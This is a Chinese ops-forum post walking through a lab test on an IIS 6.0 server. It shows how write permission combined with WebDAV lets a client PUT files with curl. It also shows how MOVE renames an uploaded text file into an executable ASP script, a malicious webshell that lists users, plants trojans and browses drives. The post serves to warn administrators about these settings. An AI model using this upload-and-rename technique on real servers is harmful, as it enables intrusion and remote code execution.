设为首页 收藏本站
查看: 912|回复: 0

[经验分享] IIS写入权限隐患

[复制链接]

尚未签到

发表于 2018-12-10 06:06:56 | 显示全部楼层 |阅读模式
测试环境:
一台已经安装好了windows server 2003并且开通了开通了IIS的虚拟机和一台XP客户机。
说明:服务器仅仅安装IIS组件,当前未配置站点,所有分区均采用默认的NTFS安全设置。
  
服务器
客户端
Name: WWW1
Name: Test1
OS: Windows Server 2003
OS: Windows XP Pro
Software: IIS 6.0+dotnet 2.0 with sp2
Software: Curl for windows (c:\curl)
        Iiswrite(c:\iiswrite)
IP: 192.168.1.11
IP: 192.168.1.101


步骤:
1.       在WWW1的D盘新建一个webdata文件夹,用来放置站点文件,在webdata下新建一个test文件夹,用来放置测试站点“test.com”文件,在test下新建一个default.htm的文件作为测试页,内容为hello。

2.       打开WWW1 IIS管理工具,右击默认站点,删除之,再删除默认应用程序池。然后新建一个应用程序池test,接着新建一个网站test.com,路径设定为d:\webdata\test,其他均采用默认设置,将test.com应用池设定为test,使用纯脚本。

3.在客户机Test1上更改hosts文件,添加一行“192.168.1.11    test.com”,在IE中输入http://test.com,可以看到www1的主页。

4.在客户端Test1上,打开命令提示符,进入curl目录,测试上传一个文件(d:\test.txt)。
注意:此时服务器未打开“写入”权限
C:\curl>curl -T d:\test.txt http://test.com/ -v                  (-T=transfer,-v=view)

* About to connect() to test.com port 80 (#0)
*   Trying 192.168.1.11... connected
* Connected to test.com (192.168.1.11) port 80 (#0)
> PUT /test%2Etxt HTTP/1.1
> User-Agent: curl/7.19.4 (i586-pc-mingw32msvc) libcurl/7.19.4 OpenSSL/0.9.8g zl
ib/1.2.3
> Host: test.com
> Accept: */*
> Content-Length: 48
> Expect: 100-continue
>
< HTTP/1.1 501 Not Implemented         (说明不可以put文件)
< Content-Length: 0
< Server: Microsoft-IIS/6.0
< X-Powered-By: ASP.NET
< Date: Tue, 21 Dec 2010 03:46:32 GMT
<
* Connection #0 to host test.com left intact
* Closing connection #0

5.在WWW1上打开“写入”权限。

6.在Test1上重复上次的curl上传文件命令。
注:此时已经打开了“写入”权限

C:\curl>curl -T d:\test.txt http://test.com/ -v

* About to connect() to test.com port 80 (#0)
*   Trying 192.168.1.11... connected
* Connected to test.com (192.168.1.11) port 80 (#0)
> PUT /test%2Etxt HTTP/1.1
> User-Agent: curl/7.19.4 (i586-pc-mingw32msvc) libcurl/7.19.4 OpenSSL/0.9.8g zl
ib/1.2.3
> Host: test.com
> Accept: */*
> Content-Length: 48
> Expect: 100-continue
>
< HTTP/1.1 501 Not Implemented         (此时仍然不能put文件,why?请接着往下看)
< Content-Length: 0
< Server: Microsoft-IIS/6.0
< X-Powered-By: ASP.NET
< Date: Tue, 21 Dec 2010 03:53:00 GMT
<
* Connection #0 to host test.com left intact
* Closing connection #0

7. 在WWW1上的web扩展服务中将webdav设置为“允许”。

8. 再回到TEST1上重复curl上传文件命令。
注意:此时打开了“写入”权限并同时开启了webdav。

C:\curl>curl -T d:\test.txt http://test.com/ -v

* About to connect() to test.com port 80 (#0)
*   Trying 192.168.1.11... connected
* Connected to test.com (192.168.1.11) port 80 (#0)
> PUT /test%2Etxt HTTP/1.1
> User-Agent: curl/7.19.4 (i586-pc-mingw32msvc) libcurl/7.19.4 OpenSSL/0.9.8g zl
ib/1.2.3
> Host: test.com
> Accept: */*
> Content-Length: 48
> Expect: 100-continue
>
< HTTP/1.1 100 Continue
< HTTP/1.1 201 Created                       (说明文件已经put成功)
< Date: Tue, 21 Dec 2010 03:56:52 GMT
< Server: Microsoft-IIS/6.0
< X-Powered-By: ASP.NET
< Location: http://test.com/test.txt                 (也可以通过这个URL查看上传的文件)
< Content-Length: 0
< Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH
, SEARCH, LOCK, UNLOCK
<
* Connection #0 to host test.com left intact
* Closing connection #0

9. 接着在TEST1上测试上传exe文件(或者***程序)。

C:\curl>curl -T d:\test.exe http://test.com/ -v
* About to connect() to test.com port 80 (#0)
*   Trying 192.168.1.11... connected
* Connected to test.com (192.168.1.11) port 80 (#0)
> PUT /test%2Eexe HTTP/1.1
> User-Agent: curl/7.19.4 (i586-pc-mingw32msvc) libcurl/7.19.4 OpenSSL/0.9.8g zl
ib/1.2.3
> Host: test.com
> Accept: */*
> Content-Length: 0
> Expect: 100-continue
>
< HTTP/1.1 201 Created                 (exe,vbs之类的可执行文件皆可,asp除外)
< Date: Tue, 21 Dec 2010 04:01:51 GMT
< Server: Microsoft-IIS/6.0
< X-Powered-By: ASP.NET
< Location: http://test.com/test.exe
< Content-Length: 0
< Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, PROPFIND, PRO
PPATCH, SEARCH, LOCK, UNLOCK
<
* Connection #0 to host test.com left intact
* Closing connection #0

到这一步已经能起到一定的破坏作用了。但是如果再“不小心”连“脚本资源访问”的勾都勾上的话,那就是非常危险了。

10. 在WWW1上开启“脚本资源访问”。
注:勾上此项之后可以执行asp等脚本程序。但是并不意味着可以直接上传asp文件。

11. 因为不可以直接上传asp文件,所以只能先put一个txt,再用move的方法将这个txt改为asp文件。
从网上google一段带有恶意代码的asp源代码,在Test1机器上新建一个test.txt的文本文件,将准备好的代码粘贴进去,打开c:\iiswrite.exe程序(这个程序自带很多HTTP/1.1的操作)。我选择的是put的操作,选择test.txt文件,然后点击“提交数据包”。如图

在上面输出中可以看到put成功(201 created)。

接下来move这个文件后缀。
下面是move的语句,有些值是可以在黑窗口中更改的(红色注释)
MOVE /test.txt HTTP/1.1                (已put的文件名)
Host: test.com                        (目标域名)
Destination: http://test.com/test.asp        (修改后的文件名)

(201 created)——令人期待的结果。

13. 在TEST1客户机上用IE打开这个asp文件,http://test.com/test.asp
下面的画面就是那段恶意代码的效果,请慢慢欣赏。


查看系统用户清单

挂马

浏览硬盘文件

结论:开启webdav和“写入”权限后将会对站点以及服务器引起严重的安全隐患,而这些都是可以人为避免的,正所谓千里之堤毁于蚁穴。如果再不小心勾上“脚本资源访问”让非法用户put asp脚本文件并且执行的话,后果真是不堪设想。

应博友要求,下面是本文完整版的PDF文档,方便大家下载。
http://down.运维网.com/data/154237




运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-649532-1-1.html 上篇帖子: iis错误Server Application Error的解决方法(附修复工具下载) 下篇帖子: 使用Adsutil.vbs来获取IIS用户的密码
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表